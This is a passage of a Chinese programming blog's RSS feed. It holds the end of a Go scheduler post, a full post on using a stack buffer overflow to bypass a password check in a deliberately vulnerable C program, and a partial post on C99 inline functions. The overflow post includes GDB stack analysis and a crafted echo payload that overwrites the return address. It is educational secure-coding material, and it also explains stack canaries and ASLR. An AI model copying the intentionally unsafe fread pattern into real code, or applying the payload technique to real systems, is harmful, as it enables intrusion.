</code></pre>
<p>我们看到在函数入口处，compiler插入三行汇编：</p>
<pre><code>        0x0000 00000 MOVQ    (TLS), CX  // 将TLS的值(GS:0x8a0)放入CX寄存器
        0x0009 00009 CMPQ    SP, 16(CX)  //比较SP与CX+16的值
        0x000d 00013 JLS     61 // 如果SP &gt; CX + 16，则jump到61这个位置
</code></pre>
<p>这种形式输出的是标准Plan9的汇编语法，资料很少（比如JLS跳转指令的含义），注释也是大致猜测的。如果跳转，则进入到 runtime.morestack_noctxt，从 runtime.morestack_noctxt返回后，再次jmp到开头执行。</p>
<p>为什么要这么做呢？按照go team的说法，是为了更好的利用现代CPU的<a href="https://github.com/golang/go/issues/10587">“static branch prediction”</a>，提升执行性能。</p>
<h2>五、参考资料</h2>
<ul>
<li>《<a href="https://golang.org/doc/asm">A Quick Guide to Go&#8217;s Assembler</a>》</li>
<li>《<a href="https://rakyll.org/scheduler/">Go&#8217;s work-stealing scheduler</a>》</li>
</ul>
<p>文中的代码可以点击<a href="https://github.com/bigwhite/experiments/tree/master/go-sched-examples">这里</a>下载。</p>
<hr />
<p>微博：<a href="http://weibo.com/bigwhite20xx">@tonybai_cn</a><br />
微信公众号：iamtonybai<br />
github.com: https://github.com/bigwhite</p>
<p>微信赞赏：<br />
<img src="http://tonybai.com/wp-content/uploads/wechat-zanshang-code-512x512.jpg" alt="img{512x368}" /></p>
<p style='text-align:left'>&copy; 2017, <a href='https://tonybai.com'>bigwhite</a>. 版权所有. </p>
]]></content:encoded>
			<wfw:commentRss>https://tonybai.com/2017/11/23/the-simple-analysis-of-goroutine-schedule-examples/feed/</wfw:commentRss>
		<slash:comments>13</slash:comments>
		</item>
		<item>
		<title>利用缓冲区溢出漏洞Hack应用</title>
		<link>https://tonybai.com/2011/12/01/hack-app-by-buffer-overflow-leak/</link>
		<comments>https://tonybai.com/2011/12/01/hack-app-by-buffer-overflow-leak/#comments</comments>
		<pubDate>Thu, 01 Dec 2011 14:50:00 +0000</pubDate>
		<dc:creator>bigwhite</dc:creator>
				<category><![CDATA[技术志]]></category>
		<category><![CDATA[Assembly]]></category>
		<category><![CDATA[Blog]]></category>
		<category><![CDATA[Blogger]]></category>
		<category><![CDATA[C]]></category>
		<category><![CDATA[CERT]]></category>
		<category><![CDATA[Cpp]]></category>
		<category><![CDATA[Debug]]></category>
		<category><![CDATA[GCC]]></category>
		<category><![CDATA[GDB]]></category>
		<category><![CDATA[Overflow]]></category>
		<category><![CDATA[博客]]></category>
		<category><![CDATA[反汇编]]></category>
		<category><![CDATA[栈帧]]></category>
		<category><![CDATA[汇编]]></category>
		<category><![CDATA[溢出]]></category>
		<category><![CDATA[漏洞]]></category>
		<category><![CDATA[缓冲区]]></category>
		<category><![CDATA[调试]]></category>

		<guid isPermaLink="false">http://tonybai.com/2011/12/01/%e5%88%a9%e7%94%a8%e7%bc%93%e5%86%b2%e5%8c%ba%e6%ba%a2%e5%87%ba%e6%bc%8f%e6%b4%9ehack%e5%ba%94%e7%94%a8/</guid>
		<description><![CDATA[<p>我们在平时编码过程中很少考虑代码的安全性(security)，与正确性、高性能和可移植性相比，安全性似乎总被忽略。昨天从安全性角度泛泛地Review了一下现有的代码，发现了不少具有安全隐患的地方。我们的程序员的确缺乏系统地有关安全编码方面的训练和实践，包括我在内...</p>]]></description>
			<content:encoded><![CDATA[<p>我们在平时编码过程中很少考虑代码的安全性(security)，与正确性、高性能和可移植性相比，安全性似乎总被忽略。昨天从安全性角度泛泛地Review了一下现有的代码，发现了不少具有安全隐患的地方。我们的程序员的确缺乏系统地有关安全编码方面的训练和实践，包括我在内，在安全编码方面也都是初级选手，脑子中对安全性编码缺乏系统的理解。</p>
<p>市面上讲解编码安全性方面的书籍也不是很多，在<a href="http://www.securecoding.cert.org/confluence/display/seccode/CERT+C+Secure+Coding+Standard" target="_blank">C编码安全性</a>方面，<a href="http://www.cert.org/" target="_blank">CERT</a>(Carnegie Mellon University&#039;s Computer Emergency Response Team)专家Robert Seacord的《<a href="http://book.douban.com/subject/4136222" target="_blank">C和C++安全编码</a>》一书对安全性编码方面做了比较系统的讲解。Robert还编写了一本名为《<a href="http://book.douban.com/subject/4149534" target="_blank">C安全编码标准</a>》的书，这本书可以作为指导安全编码实践的参考手册。</p>
<p>浏览了一下《C和C++安全编码》，你会发现多数漏洞(vulnerability)都与缓冲区溢出(buffer overflow)有关。要想学会更好的防守，就要弄清楚漏洞是如何被利用的，在这里我们就来尝试一下如何利用缓冲区漏洞Hack应用。</p>
<p>有这样一段应用代码：<br />
	/* bufferoverflow.c */<br />
	int ispasswdok() {<br />
	&nbsp;&nbsp;&nbsp; char passwd[12];<br />
	&nbsp;&nbsp;&nbsp; memset(passwd, 0, sizeof(passwd));</p>
<p>&nbsp;&nbsp;&nbsp; FILE *p = fopen(&quot;passwd&quot;, &quot;rb&quot;);<br />
	&nbsp;&nbsp;&nbsp; fread(passwd, 1, 200, p);<br />
	&nbsp;&nbsp;&nbsp; fclose(p);</p>
<p>&nbsp;&nbsp;&nbsp; if (strcmp(passwd, &quot;123456&quot;) == 0) {<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return 0;<br />
	&nbsp;&nbsp;&nbsp; } else {<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return -1;<br />
	&nbsp;&nbsp;&nbsp; }<br />
	}</p>
<p>int main() {<br />
	&nbsp;&nbsp;&nbsp; int passwdstat = -1;</p>
<p>&nbsp;&nbsp;&nbsp; passwdstat = ispasswdok();<br />
	&nbsp;&nbsp;&nbsp; if (passwdstat != 0) {<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf (&quot;invalid!\n&quot;);<br />
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return -1;<br />
	&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp; printf(&quot;granted!\n&quot;);<br />
	&nbsp;&nbsp;&nbsp; return 0;<br />
	}</p>
<p>这显然是故意&ldquo;制造&rdquo;的一段程序。原本密码(passwd)的输入是通过gets函数从标准输入获得的，但考虑到Hack时非可显示的ASCII码不易展示和输入，这里换成了fread，并且故意在fread使用中留下了隐患。我们Hack的目标很明确，就是在不知道密码的前提下，让这个程序输出&quot;granted!&quot;，即绕过密码校验逻辑。</p>
<p>Hack的原理这里简述一下。我们知道C程序的运行其实就是一系列的过程调用，而过程调用本身是依赖系统为程序建立的运行时堆栈(stack)的，每个过程(Procedure)都有自己的栈帧(stack frame)，各个过程的栈帧在运行时stack上按照调用的先后顺序从栈底向栈顶延伸排列。系统使用扩展基址寄存器(extended base pointer，%ebp)和扩展栈寄存器(extended stack pointer，%esp)来指示当前过程的栈帧。系统通过调整%ebp和%esp的方式按照特定的机制在各个过程的栈帧上切换，实现过程调用(call)和从过程调用返回(ret)。</p>
<p>执行子过程调用指令(call)时，系统先将该call指令的下一条顺序指令的地址(%eip)，即子过程调用的返回地址存储在stack上，作为过程调用者栈帧的结尾，然后将%ebp也压入stack，作为子过程栈帧的开始，最后系统跳转到子过程的起始地址开始执行。总的来说，子过程调用call的执行相当于：</p>
<p>push %eip<br />
	push %ebp</p>
<p>子过程在其开始处将调用者的%ebp保存在栈上，并建立自己的%ebp；子过程调用结束前，leave指令首先恢复调用者的%ebp和%esp，之后ret指令将存储在stack的调用者的返回地址恢复到指令寄存器%eip中，并跳转到该地址上执行后续指令，这样系统就从子过程返回继续原过程的执行了。</p>
<p>这里的Hack就是利用重写返回地址来达到绕过密码校验过程的目的。返回地址与局部变量存储在同一栈上且系统没有对栈越界修改进行校验(一般情况是这样的)让Hack成为可能。我们通过GDB反汇编来看看main栈帧与ispasswdok栈帧在内存中的布局情况。</p>
<p>我们首先将breakpoint设置在ispasswdok过程被调用前，设置断点后run：</p>
<p>$ gdb bufferoverflow<br />
	&#8230; &#8230;<br />
	(gdb) break 20<br />
	Breakpoint 1 at 0&#215;8048591: file bufferoverflow.c, line 20.<br />
	(gdb) run<br />
	Starting program: /home/tonybai/test/c/bufferoverflow</p>
<p>Breakpoint 1, main () at bufferoverflow.c:20<br />
	20&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int passwdstat = -1;</p>
<p>我们查看一下当前main的栈帧情况：<br />
	(gdb) info registers<br />
	esp&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0xbffff100&nbsp;&nbsp;&nbsp; 0xbffff100<br />
	ebp&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0xbffff128&nbsp;&nbsp;&nbsp; 0xbffff128<br />
	eip&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&#215;8048591&nbsp;&nbsp;&nbsp; 0&#215;8048591 [main+9]</p>
<p>可以看到main栈帧起始于0xbffff128。我们继续在ispasswdok处设置断点，继续执行。<br />
	(gdb) break ispasswdok<br />
	Breakpoint 2 at 0x804850a: file bufferoverflow.c, line 6.<br />
	(gdb) continue<br />
	Continuing.</p>
<p>Breakpoint 2, ispasswdok () at bufferoverflow.c:6<br />
	6&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; memset(passwd, 0, sizeof(passwd));</p>
<p>现在程序已经执行到ispasswdok过程中，我们也可以看到ispasswdok栈帧情况了：<br />
	(gdb) info registers<br />
	esp&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0xbffff0d0&nbsp;&nbsp;&nbsp; 0xbffff0d0<br />
	ebp&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0xbffff0f8&nbsp;&nbsp;&nbsp; 0xbffff0f8<br />
	eip&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0x804850a&nbsp;&nbsp;&nbsp; 0x804850a [ispasswdok+6]</p>
<p>可以看到ispasswdok过程的栈帧起始于0xbffff0f8。前面说过子过程的%ebp指向的栈单元存储的是其调用者栈帧的起始地址，即其调用者的%ebp。我们来查看一下是否是这样：</p>
<p>(gdb) x/4wx 0xbffff0f8<br />
	0xbffff0f8:&nbsp;&nbsp;&nbsp; 0xbffff128&nbsp;&nbsp;&nbsp; 0x0804859e&nbsp;&nbsp;&nbsp; 0&#215;00284324&nbsp;&nbsp;&nbsp; 0x00283ff4</p>
<p>我们通过x/命令查看起始地址为0xbffff0f8的栈上连续4个4字节存储单元的值，可以看到0xbffff0f8处栈单元内的确存储是的main栈帧的%ebp，其值与前面main栈帧输出的结果相同。那么按照之前所说的，紧挨着这个地址的值就应该是ispasswdok过程调用的返回地址了，也就是我们要改写的那个地址，我们看到这个地址的值为0x0804859e。我们通过反汇编看看main过程的指令：</p>
<p>(gdb) disas main<br />
	Dump of assembler code for function main:<br />
	&nbsp;&nbsp; 0&#215;08048588 [+0]:&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp; %ebp<br />
	&nbsp;&nbsp; 0&#215;08048589 [+1]:&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp; %esp,%ebp<br />
	&nbsp;&nbsp; 0x0804858b [+3]:&nbsp;&nbsp;&nbsp; and&nbsp;&nbsp;&nbsp; $0xfffffff0,%esp<br />
	&nbsp;&nbsp; 0x0804858e [+6]:&nbsp;&nbsp;&nbsp; sub&nbsp;&nbsp;&nbsp; $0&#215;20,%esp<br />
	&nbsp;&nbsp; 0&#215;08048591 [+9]:&nbsp;&nbsp;&nbsp; movl&nbsp;&nbsp; $0xffffffff,0x1c(%esp)<br />
	&nbsp;&nbsp; 0&#215;08048599 [+17]:&nbsp;&nbsp;&nbsp; call&nbsp;&nbsp; 0&#215;8048504 [ispasswdok]<br />
	&nbsp;&nbsp; 0x0804859e [+22]:&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp; %eax,0x1c(%esp)<br />
	&nbsp;&nbsp; &#8230; &#8230;</p>
<p>可以看到0x0804859e就是ispasswdok调用后的下一条指令，看来它的确是我们想要找到地址。找到了要改写的地址，我们还要找到外部数据的入口，这个入口即是ispasswdok过程中的局部变量passwd。</p>
<p>passwd的起始地址是什么？我们通过ispasswdok的反汇编代码来分析：</p>
<p>(gdb) disas ispasswdok<br />
	Dump of assembler code for function ispasswdok:<br />
	&nbsp;&nbsp; 0&#215;08048504 [+0]:&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp; %ebp<br />
	&nbsp;&nbsp; 0&#215;08048505 [+1]:&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp; %esp,%ebp<br />
	&nbsp;&nbsp; &#8230; &#8230;<br />
	&nbsp;&nbsp; 0&#215;08048555 [+81]:&nbsp;&nbsp;&nbsp; lea&nbsp;&nbsp;&nbsp; -0&#215;18(%ebp),%eax<br />
	&nbsp;&nbsp; 0&#215;08048558 [+84]:&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp; %eax,(%esp)<br />
	&nbsp;&nbsp; 0x0804855b [+87]:&nbsp;&nbsp;&nbsp; call&nbsp;&nbsp; 0x804842c [fread@plt]<br />
	&nbsp;&nbsp; &#8230; &#8230;</p>
<p>可以看到在为fread准备实际参数时，系统用了-0&#215;18(%ebp)，显然这个地址就是passwd数组的始地址，即0xbffff0f8 &#8211; 0&#215;18处。综上，我们用一幅简图来形象的说明一下各个重要元素：</p>
<p>&#8211; 高地址，栈底<br />
	&#8230; &#8230;<br />
	0xbffff0fc:&nbsp; 0x0804859e&nbsp;&nbsp; &lt;- 存储的值是main设置的ispasswdok过程的返回地址<br />
	&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
	0xbffff0f8:&nbsp; 0xbffff128&nbsp;&nbsp; &lt;- ispasswdok的%ebp，存储的值为main的%ebp<br />
	0xbffff0f4:&nbsp; 0x08049ff4<br />
	0xbffff0f0:&nbsp; 0x0011e0c0<br />
	0xbffff0ec:&nbsp; 0x0804b008<br />
	0xbffff0e8:&nbsp; 0&#215;00000000<br />
	0xbffff0e4:&nbsp; 0&#215;00000000<br />
	0xbffff0e0:&nbsp; 0&#215;00000000&nbsp;&nbsp; &lt;- passwd数组的起始地址<br />
	&#8230; &#8230;<br />
	&#8211; 低地址，栈顶</p>
<p>我们现在需要做的就是从0xbffff0e0这个地址开始写入数据，一直写到ispasswdok过程的返回地址，用新的地址值覆盖掉原有的返回地址0x0804859e。我们需要精心构造一个密码文件(passwd)：</p>
<p>echo -ne &quot;aaaaaaaaaaaa\x08\xb0\x04\x08\xc0\xe0\x11\x00\xf4\x9f\x04\x08\x28\xf1\xff\xbf\xc4\x85\x04\x08&quot; &gt; passwd</p>
<p>这里我们将passwd数组用字符&#039;a&#039;填充，将0x0804859e这个返回地址改写为0x080485c4，我们通过disas main可以看到这个跳转地址对应的指令：</p>
<p>(gdb) disas main<br />
	Dump of assembler code for function main:<br />
	&nbsp;&nbsp; 0&#215;08048590 [+0]:&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp; %ebp<br />
	&nbsp;&nbsp; 0&#215;08048591 [+1]:&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp; %esp,%ebp<br />
	&nbsp;&nbsp; &#8230; &#8230;<br />
	&nbsp;&nbsp; 0x080485c4 [+52]:&nbsp;&nbsp;&nbsp; movl&nbsp;&nbsp; $0x80486ba,(%esp)&nbsp; ;程序执行跳转到这里<br />
	&nbsp;&nbsp; 0x080485cb [+59]:&nbsp;&nbsp;&nbsp; call&nbsp;&nbsp; 0x804841c [puts@plt] ; 输出granted!<br />
	&nbsp;&nbsp; 0x080485d0 [+64]:&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp; $0&#215;0,%eax<br />
	&nbsp;&nbsp; 0x080485d5 [+69]:&nbsp;&nbsp;&nbsp; leave&nbsp;<br />
	&nbsp;&nbsp; 0x080485d6 [+70]:&nbsp;&nbsp;&nbsp; ret&nbsp;&nbsp;&nbsp;</p>
<p>我们在GDB中完整的执行一遍bufferoverflow：<br />
	$ gdb bufferoverflow<br />
	(gdb) run<br />
	Starting program: /home/tonybai/test/c/bufferoverflow<br />
	granted!</p>
<p>Program exited normally.</p>
<p>Hack成功！(环境：gcc version 4.4.3 (Ubuntu 4.4.3-4ubuntu5), GNU gdb (GDB) 7.1-ubuntu)</p>
<p>GCC默认在目标代码中加入stack smashing protector(-fstack-protector)，在函数返回前，程序会检测特定的protector(又被称为canary，金丝雀)的值是否被修改，如果被修改了，则报错退出。上面的代码在编译时加入了-fno-stack-protector，否则一旦越界修改缓冲区外的地址，波及canary，程序就会报错退出。</p>
<p>另外bufferoverflow这个程序在GDB下执行可以成功Hack，但在shell下独立执行依旧会报错，dump core（发生在fclose里），对于此问题暂没有什么头绪。</p>
<p>后记：<br />
	经过分析，bufferoverflow程序在非GDB调试环境下独立执行时dump core的问题应该是由于Linux采用的<a href="http://en.wikipedia.org/wiki/Address_space_layout_randomization" target="_blank">ASLR</a>技术所致。所谓ASLR就是Address-Space Layout Randomization，中文意思是地址空间布局随机化。正因为每次bufferoverflow的栈地址空间布局随机不同，因此事先精心挑选的那组hack数据才无法起到作用，并导致栈被破坏而dump core。</p>
<p>我们可以通过一个简单的测试程序看到ASLR的作用。<br />
	/* test_aslr.c */<br />
	int main() {<br />
	&nbsp;&nbsp;&nbsp; int a;<br />
	&nbsp;&nbsp;&nbsp; printf(&quot;a is at %p\n&quot;, &#038;a);<br />
	&nbsp;&nbsp;&nbsp; return 0;<br />
	}</p>
<p>下面多次执行该例程：<br />
	tonybai@PC-ubuntu:~/test/c$ test_aslr<br />
	a is at 0xbfbcb44c<br />
	tonybai@PC-ubuntu:~/test/c$ test_aslr<br />
	a is at 0xbfe3c8cc<br />
	tonybai@PC-ubuntu:~/test/c$ test_aslr<br />
	a is at 0xbfcc6d9c<br />
	tonybai@PC-ubuntu:~/test/c$ test_aslr<br />
	a is at 0xbfaea32c</p>
<p>可以看到每次栈上变量a的地址都不相同。</p>
<p>GDB默认关闭了ASLR，这才使得上面的Hack得以成型，通过GDB的信息也可以证实这一点：<br />
	(gdb) show disable-randomization<br />
	Disabling randomization of debuggee&#039;s virtual address space is on.</p>
<p style='text-align:left'>&copy; 2011, <a href='https://tonybai.com'>bigwhite</a>. 版权所有. </p>
]]></content:encoded>
			<wfw:commentRss>https://tonybai.com/2011/12/01/hack-app-by-buffer-overflow-leak/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>也谈C语言的内联函数</title>
		<link>https://tonybai.com/2011/06/22/also-talk-about-inline-function-in-c/</link>
		<comments>https://tonybai.com/2011/06/22/also-talk-about-inline-function-in-c/#comments</comments>
		<pubDate>Wed, 22 Jun 2011 09:17:00 +0000</pubDate>
		<dc:creator>bigwhite</dc:creator>
				<category><![CDATA[技术志]]></category>
		<category><![CDATA[Assembly]]></category>
		<category><![CDATA[Blog]]></category>
		<category><![CDATA[Blogger]]></category>
		<category><![CDATA[C]]></category>
		<category><![CDATA[C99]]></category>
		<category><![CDATA[GCC]]></category>
		<category><![CDATA[Inline]]></category>
		<category><![CDATA[Programmer]]></category>
		<category><![CDATA[内联函数]]></category>
		<category><![CDATA[博客]]></category>
		<category><![CDATA[标准库]]></category>
		<category><![CDATA[汇编]]></category>
		<category><![CDATA[程序员]]></category>

		<guid isPermaLink="false">http://tonybai.com/2011/06/22/%e4%b9%9f%e8%b0%88c%e8%af%ad%e8%a8%80%e7%9a%84%e5%86%85%e8%81%94%e5%87%bd%e6%95%b0/</guid>
		<description><![CDATA[有这样一段代码：<br />
<br />
/* foo.c */<br />
#include &#60;stdio.h&#62;&#160;<br />
<br />
inline void foo() {<br />
&#160;&#160;&#160; printf("inline foo in %s\n", __FILE__);<br />
}<br />
<br />
int main() {<br />
&#160;&#160;&#160; foo();<br />
&#160;&#160;&#160; return 0;<br />
}<br />
<br />
我采用C99标准，并在不加任何优化...]]></description>
			<content:encoded><![CDATA[<p>有这样一段代码：</p>
<p>/* foo.c */<br />
	#include&nbsp; &quot;stdio.h&quot;</p>
<p>inline void foo() {<br />
	&nbsp;&nbsp;&nbsp; printf(&quot;inline foo in %s\n&quot;, __FILE__);<br />
	}</p>
<p>int main() {<br />
	&nbsp;&nbsp;&nbsp; foo();<br />
	&nbsp;&nbsp;&nbsp; return 0;<br />
	}</p>
<p>我采用<a href="http://en.wikipedia.org/wiki/C99" target="_blank">C99</a>标准，并在不加任何优化选项的情况下编译之：</p>
<p>$ gcc -std=c99 foo.c -o foo<br />
	foo.c: In function &lsquo;foo&rsquo;:<br />
	/tmp/ccLGkuIK.o: In function `main&#039;:<br />
	foo.c:(.text+0&#215;7): undefined reference to `foo&#039;<br />
	collect2: ld returned 1 exit status</p>
<p>这样的结果出乎我的意料。我原以为用inline修饰的函数定义，如上面的foo函数，在编译器未开启内联优化时依旧可以作为外部函数定义被编译器使用。但通过上面<a href="http://tonybai.com/2006/03/14/explain-gcc-warning-options-by-examples/" target="_blank">gcc</a>输出的错误信息来看，inline函数的定义并没有被看待为外部函数定义，这样链接器才无法找到foo这个符号。C99标准新增的inline似乎与我对inline语义的理解有所不同。</p>
<p>C语言原本是不支持inline的，但C++中原生对inline的支持让很多C编译器也为C语言实现了一些支持inline语义的扩展。C99将inline正式放入到<a href="http://en.wikipedia.org/wiki/ANSI_C" target="_blank">标准C语言</a>中，并提供了inline关键字。和C++中的inline一样，C99的inline也是对编译器的一个提示，提示编译器尽量使用函数的内联定义，去除函数调用带来的开销。inline只有在开启编译器优化选项时才会生效。正如上面的例子，当我们打开优化选项并重新编译时，我们会看到：</p>
<p>$ gcc -std=c99 foo.c -O2 -o foo<br />
	$./foo<br />
	$ inline foo in foo.c</p>
<p>在-O2的优化选项下，编译器进行了内联优化，并采用了foo的inline定义。通过汇编代码我们也可以看出：foo.s中并没有显式地使用call进行函数调用，函数调用被优化掉了：</p>
<p>/* foo.s : gcc -std=c99 foo.c -O2 -S */<br />
	&nbsp;&nbsp;&nbsp; .file&nbsp;&nbsp; &quot;foo.c&quot;<br />
	&nbsp;&nbsp;&nbsp; .section&nbsp;&nbsp;&nbsp; .rodata.str1.1,&quot;aMS&quot;,@progbits,1<br />
	.LC0:<br />
	&nbsp;&nbsp;&nbsp; .string &quot;foo.c&quot;<br />
	.LC1:<br />
	&nbsp;&nbsp;&nbsp; .string &quot;inline foo in %s\n&quot;<br />
	&nbsp;&nbsp;&nbsp; .text<br />
	&nbsp;&nbsp;&nbsp; .p2align 4,,15<br />
	.globl main<br />
	&nbsp;&nbsp;&nbsp; .type&nbsp;&nbsp; main, @function<br />
	main:<br />
	&nbsp;&nbsp;&nbsp; pushl&nbsp;&nbsp; %ebp<br />
	&nbsp;&nbsp;&nbsp; movl&nbsp;&nbsp;&nbsp; %esp, %ebp<br />
	&nbsp;&nbsp;&nbsp; andl&nbsp;&nbsp;&nbsp; $-16, %esp<br />
	&nbsp;&nbsp;&nbsp; subl&nbsp;&nbsp;&nbsp; $16, %esp<br />
	&nbsp;&nbsp;&nbsp; movl&nbsp;&nbsp;&nbsp; $.LC0, 8(%esp)<br />
	&nbsp;&nbsp;&nbsp; movl&nbsp;&nbsp;&nbsp; $.LC1, 4(%esp)<br />
	&nbsp;&nbsp;&nbsp; movl&nbsp;&nbsp;&nbsp; $1, (%esp)<br />
	&nbsp;&nbsp;&nbsp; call&nbsp;&nbsp;&nbsp; __printf_chk<br />
	&nbsp;&nbsp;&nbsp; xorl&nbsp;&nbsp;&nbsp; %eax, %eax<br />
	&nbsp;&nbsp;&nbsp; leave<br />
	&nbsp;&nbsp;&nbsp; ret<br />
	&nbsp;&nbsp;&nbsp; .size&nbsp;&nbsp; main, .-main<br />
	&nbsp;&nbsp;&nbsp; .ident&nbsp; &quot;GCC: (Ubuntu 4.4.3-4ubuntu5) 4.4.3&quot;<br />
	&nbsp;&nbsp;&nbsp; .section&nbsp;&nbsp;&nbsp; .note.GNU-stack,&quot;&quot;,@progbits</p>
<p>我们在另外一个文件bar.c中提供一个foo的外部函数定义：</p>
<p>/* bar.c */<br />
	#include</p>
<p>void foo() {<br />
	&nbsp;&nbsp;&nbsp; printf(&quot;global foo in %s\n&quot;, __FILE__);<br />
	}</p>
<p>我们将foo.c和bar.c放在一起编译（未开启优化选项）：<br />
	$ gcc -std=c99 foo.c bar.c -o foo<br />
	$ ./foo<br />
	$ global foo in bar.c</p>
<p>链接器为foo.c中的符号foo选择了bar.c中的foo函数定义。这样看来我们甚至可以有两个同名（名字都是foo）的函数定义，只不过一个是inline定义，一个是外部定义，它们并不冲突。</p>
<p>再开启优化选项，我们得到：<br />
	$ gcc -std=c99 foo.c bar.c -o foo<br />
	$ ./foo<br />
	$ inline foo in foo.c</p>
<p>这一次编译器选择了foo的inline定义。</p>
<p>究其原因：foo.c和bar.c分处于两个不同的编译单元，在未开启内联优化的情况下，foo.c对应的目标文件foo.o中foo只是一个未定义的符号，而bar.o中的foo却是一个global符号，并对应一块独立的实现代码。<a href="http://tonybai.com/2007/12/08/those-things-about-symbol-linkage/" target="_blank">链接器</a>自然采用了bar.c中的foo函数定义。而在开启了内联优化的情况下，编译器在进行foo.o这个编译单元的编译期间就直接对foo进行了优化，并采用了foo的inline定义，直接放到了main函数的<a href="http://tonybai.com/2005/11/12/open-the-gate-to-assembly-language/" target="_blank">汇编代码</a>中，没有显式地call foo，并且foo.o中并未为foo单独生成Global函数代码，这样在最后的链接阶段，bar.o就变成&quot;打酱油&quot;的了^_^。</p>
<p>以上只是为了说明C99内inline语义而做的试验。在现实开发中，我们绝不应该这么去做。我们要确保函数的inline定义和非inline定义的语义一致性。那能否做到让一份函数定义既可以作为inline定义，也可以作为外部函数定义呢？这意味着我们在开启内联优化时，既要在inline函数定义的编译单元里执行内联优化，也要为inline函数生成一份独立的global的函数定义（汇编码）。</p>
<p>我们增加一个头文件foo.h：<br />
	/* foo.h */<br />
	extern void foo();</p>
<p>/* foo.c */<br />
	#include<br />
	#include &quot;foo.h&quot;</p>
<p>inline void foo() {<br />
	&nbsp;&nbsp;&nbsp; printf(&quot;foo in %s\n&quot;, __FILE__);<br />
	}</p>
<p>int main() {<br />
	&nbsp;&nbsp;&nbsp; foo();<br />
	&nbsp;&nbsp;&nbsp; return 0;<br />
	}</p>
<p>我们在开启优化和未开启优化两种情况下分别编译执行：<br />
	$ gcc -std=c99 foo.c -o foo<br />
	$ ./foo<br />
	$ foo in foo.c</p>
<p>$ gcc -std=c99 foo.c -o foo -O2<br />
	$ ./foo<br />
	$ foo in foo.c</p>
<p>我们看到：无论哪种情况，我们都可以顺利通过编译，并且得到正确的执行结果。我们来看看汇编码有何变化：</p>
<p>在未开启优化的情况下，我们得到如下汇编码：</p>
<p>.globl foo<br />
	&nbsp;&nbsp;&nbsp; .type&nbsp;&nbsp; foo, @function<br />
	foo:<br />
	&nbsp;&nbsp;&nbsp; pushl&nbsp;&nbsp; %ebp<br />
	&nbsp;&nbsp;&nbsp; &#8230; &#8230;<br />
	&nbsp;&nbsp;&nbsp; call&nbsp;&nbsp;&nbsp; printf<br />
	&nbsp;&nbsp;&nbsp; leave<br />
	&nbsp;&nbsp;&nbsp; ret<br />
	&nbsp;&nbsp;&nbsp; .size&nbsp;&nbsp; foo, .-foo</p>
<p>&nbsp;&nbsp;&nbsp; &#8230; &#8230;<br />
	main:<br />
	&nbsp;&nbsp;&nbsp; pushl&nbsp;&nbsp; %ebp<br />
	&nbsp;&nbsp;&nbsp; movl&nbsp;&nbsp;&nbsp; %esp, %ebp<br />
	&nbsp;&nbsp;&nbsp; andl&nbsp;&nbsp;&nbsp; $-16, %esp<br />
	&nbsp;&nbsp;&nbsp; call&nbsp;&nbsp;&nbsp; foo<br />
	&nbsp;&nbsp;&nbsp; &#8230; &#8230;<br />
	&nbsp;&nbsp;&nbsp; ret</p>
<p>内联优化并未生效，main代码中进行了foo的函数调用。但与本文开始时的那个例子不同的是，编译器为foo生成了一份独立的global的函数定义汇编码块，这块代码可以直接被外部引用，也就是说在未开启优化的情况下，foo定义被看成了外部函数定义。</p>
<p>但开启优化选项的情况下，我们得到如下汇编码：<br />
	.globl foo<br />
	&nbsp;&nbsp;&nbsp; .type&nbsp;&nbsp; foo, @function<br />
	foo:<br />
	&nbsp;&nbsp;&nbsp; pushl&nbsp;&nbsp; %ebp<br />
	&nbsp;&nbsp;&nbsp; &#8230; &#8230;<br />
	&nbsp;&nbsp;&nbsp; call&nbsp;&nbsp;&nbsp; __printf_chk<br />
	&nbsp;&nbsp;&nbsp; leave<br />
	&nbsp;&nbsp;&nbsp; ret<br />
	&nbsp;&nbsp;&nbsp; &#8230; &#8230;<br />
	main:<br />
	&nbsp;&nbsp;&nbsp; pushl&nbsp;&nbsp; %ebp<br />
	&nbsp;&nbsp;&nbsp; movl&nbsp;&nbsp;&nbsp; %esp, %ebp<br />
	&nbsp;&nbsp;&nbsp; andl&nbsp;&nbsp;&nbsp; $-16, %esp<br />
	&nbsp;&nbsp;&nbsp; subl&nbsp;&nbsp;&nbsp; $16, %esp<br />
	&nbsp;&nbsp;&nbsp; movl&nbsp;&nbsp;&nbsp; $.LC0, 8(%esp)<br />
